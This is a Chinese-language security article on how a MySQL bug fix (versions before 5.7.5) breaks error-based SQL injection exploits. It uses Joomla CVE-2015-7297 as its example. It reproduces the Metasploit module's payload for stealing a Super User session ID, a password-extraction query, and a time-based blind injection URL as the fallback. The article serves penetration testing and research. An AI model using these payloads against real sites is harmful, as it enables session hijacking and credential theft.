你的PoC和EXP可能得改改了
字数 1028 2025-08-18 11:38:49
MySQL 5.7.5 之前版本的BUG对POC/EXP编写的影响分析
一、BUG概述
在MySQL 5.7.5之前的所有主版本中存在一个关键BUG,该BUG可能导致基于报错的SQL注入POC/EXP需要重新编写或修正。
BUG信息链接: https://bugs.mysql.com/bug.php?id=58081
二、BUG复现方法
可以通过以下SQL语句复现该问题:
set names latin1;
drop table if exists t1;
create table t1(a int) engine=myisam;
insert into t1 values (0),(0),(1),(0),(0);
select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size));
在MySQL版本低于5.7.5中,执行以上SQL语句会报如下错误:
Duplicate entry '107374182410737418241' for key 'group_key'
三、对POC/EXP的影响分析
3.1 报错注入原理
传统报错型SQL注入POC/EXP的编写思路:
- 构造特定SQL语句使WEB应用执行
- 让应用将包含查询结果的报错信息打印出来
- 从报错信息中提取敏感数据
以Joomla的CVE-2015-7297漏洞为例:
在Joomla 3.4.4b版本的/administrator/components/com_contenthistory/views/history/view.html.php文件中,存在以下代码:
if (count($errors = $this->get('Errors'))) {
JError::raiseError(500, implode("\n", $errors));
return false;
}
当SQL语句执行出错时,会将错误信息直接打印出来。
3.2 Metasploit中的利用示例
Metasploit框架中的利用模块(joomla_contenthistory_sqli_rce.rb)通过报错注入获取管理员session:
def sqli(tableprefix)
sql = "(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'vars_get' => {
'option' => 'com_contenthistory',
'view' => 'history',
'list[ordering]' => '',
'item_id' => '1',
'type_id' => '1',
'list[select]' => sql
}
})
实际执行的SQL语句:
SELECT (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editor FROM `u6egd_ucm_history` AS h LEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
3.3 BUG修复情况
- MySQL官方宣称在5.7.5版本彻底修复了该BUG
- 但实际上部分5.7.5之前的小版本也已经修复
- 后续在MySQL 5.7.27和8.0.17中又进行了相关修复
测试环境:
- PHP 5.6.40
- MySQL 5.7.26
- Joomla 3.4.4
在修复后的环境中,传统报错注入Payload不再有效:
SELECT (select 1 from (select count(*),concat((select password from sb2ah_users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x),uc.name AS editor FROM `sb2ah_ucm_history` AS h LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
四、解决方案:时间盲注技术
在报错注入失效的情况下,可以采用基于时间的注入技术:
时间盲注Payload示例:
index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(SELECT 8533 FROM (SELECT(SLEEP(5)))x)
对应的SQL查询:
SELECT (SELECT 8533 FROM (SELECT(SLEEP(5)))x),uc.name AS editor FROM `sb2ah_ucm_history` AS h LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
通过观察响应时间的差异来判断注入是否成功以及提取数据。
五、总结
- MySQL 5.7.5之前的版本存在影响报错注入的BUG
- 该BUG的修复导致传统报错注入POC/EXP在部分环境中失效
- 安全研究人员需要:
- 检查现有POC/EXP的兼容性
- 增加时间盲注作为备选方案
- 不能简单依赖"拿来主义",需要根据目标环境调整利用方式
建议:在实际渗透测试中,应同时准备报错注入和时间盲注两种技术方案,根据目标环境灵活选择。